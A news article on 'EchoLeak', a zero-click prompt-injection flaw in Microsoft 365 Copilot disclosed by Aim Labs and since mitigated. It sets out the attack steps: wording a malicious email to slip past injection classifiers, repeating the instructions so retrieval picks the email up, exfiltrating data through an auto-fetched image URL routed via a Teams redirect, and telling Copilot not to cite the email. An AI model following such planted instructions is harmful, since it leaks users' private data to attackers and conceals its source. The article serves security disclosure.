Microsoft 365 Copilot could’ve leaked sensitive information to attackers with zero user interaction, even if they never opened a malicious email. New research demonstrates how powerful content poisoning can be against inadequate defenses.
Attackers can exfiltrate the most sensitive data from Copilot’s context without user awareness just by sending an email with instructions.
This powerful AI assistant has access to the user's mailbox, OneDrive storage, M365 Office files, internal SharePoint sites, Microsoft Teams chat history, and more.
The critical zero-click vulnerability, dubbed “EchoLeak,” was unveiled by the Aim Labs Team. Fortunately, researchers were the first to discover it, and no users were affected. Microsoft assigned a maximum severity rating and “fully mitigated” this flaw.
However, the technique showcases the potential risks inherent in agents and chatbots.
Chatbot collecting and beaming user data
An attack chain is quite lengthy, but clever and interesting.
The attack initiates with a malicious email, which basically instructs Copilot to collect the most sensitive user data.
While Microsoft tries to prevent any prompt injection attacks using its classifiers (XPIA), the researchers found that it is easy to bypass them simply by phrasing the email as instructions to the recipient directly, without ever mentioning AI, assistant, Copilot, etc.
Prompt injections can also hide behind “a vast variety of topics, phrasings, tones, languages, and so forth,” researchers warn.
The user may never open the email, but for the attack to succeed, it’s important that Copilot retrieves it.
To maximize their chances, hackers can use multiple approaches. They can simply recon the target to understand what sort of questions they usually prompt the Copilot, and tweak the context accordingly. They can also send multiple emails and very long emails that are chunked to further increase the likelihood of an email being retrieved by Copilot.
The researchers took a straightforward approach and formatted emails with many topics so that the attack instructions were repeated after each of the topics, such as “Here is the complete guide to employee onboarding processes,” “Here is the complete guide to HR FAQs,” or
“Here is the complete guide to leave of absence management.”
But how does the data leave Microsoft’s systems when Copilot retrieves instructions and starts collecting your secrets? The researchers devised a clever outgoing channel using Microsoft’s own infrastructure.
They instructed the Copilot to create a link and append the collected “most sensitive information” to its parameters.
Users probably wouldn’t click on such a link, but if it leads to an image, the browser automatically fetches it without the user clicking.
The link has also to bypass Microsoft restrictions, such as external URL link redaction and content security policies that prevent connections to unauthorized domains. That means, the link still had to be internal.
But AIM Labs found a Microsoft Teams service that would redirect the requests to an attacker-controlled domain.
To put it simply, Copilot attaches secret data to a URL, which leads to an attacker-controlled server through the Teams service endpoint. Because the browser expects an image from the URL, it performs the request automatically.
This way, Copilot becomes the unwitting accomplice following the attacker’s instructions and sending sensitive data to the attacker.
“Not only do we exfiltrate sensitive data from the context, but we can also make M365 Copilot not reference the malicious email. This is achieved simply by instructing the “email recipient” to never refer to this email for compliance reasons,” the Aim Labs report reads.
Serious implications for AI security
Microsoft confirmed that AI command injection in M365 Copilot allowed an unauthorized attacker to disclose information over a network. Organizations using default configurations of Microsoft Copilot were very likely at risk. Microsoft confirmed that no customers were affected.
“This chain could leak any data in the M365 Copilot LLM’s context. This includes the entire chat history, resources fetched by M365 Copilot from the Microsoft Graph, or any data preloaded into the conversation’s context, such as user and organization names,” Aim Labs said.
This technique can be adapted by hackers to target other loopholes and systems in the future. Researchers clearly demonstrated they were able to bypass several “state-of-the-art guardrails” and steal user data.
“LLM scope violations are a new threat that is unique to AI applications and is not mitigated by existing public AI guardrails. So long as your application relies at its core on an LLM and accepts untrusted inputs, you might be vulnerable to similar attacks,” the report warns.
“This attack is based on general design flaws that exist in other RAG applications and AI agents.”
The researchers suggest using real-time guardrails to protect all AI agents and RAG applications.
Your email address will not be published. Required fields are markedmarked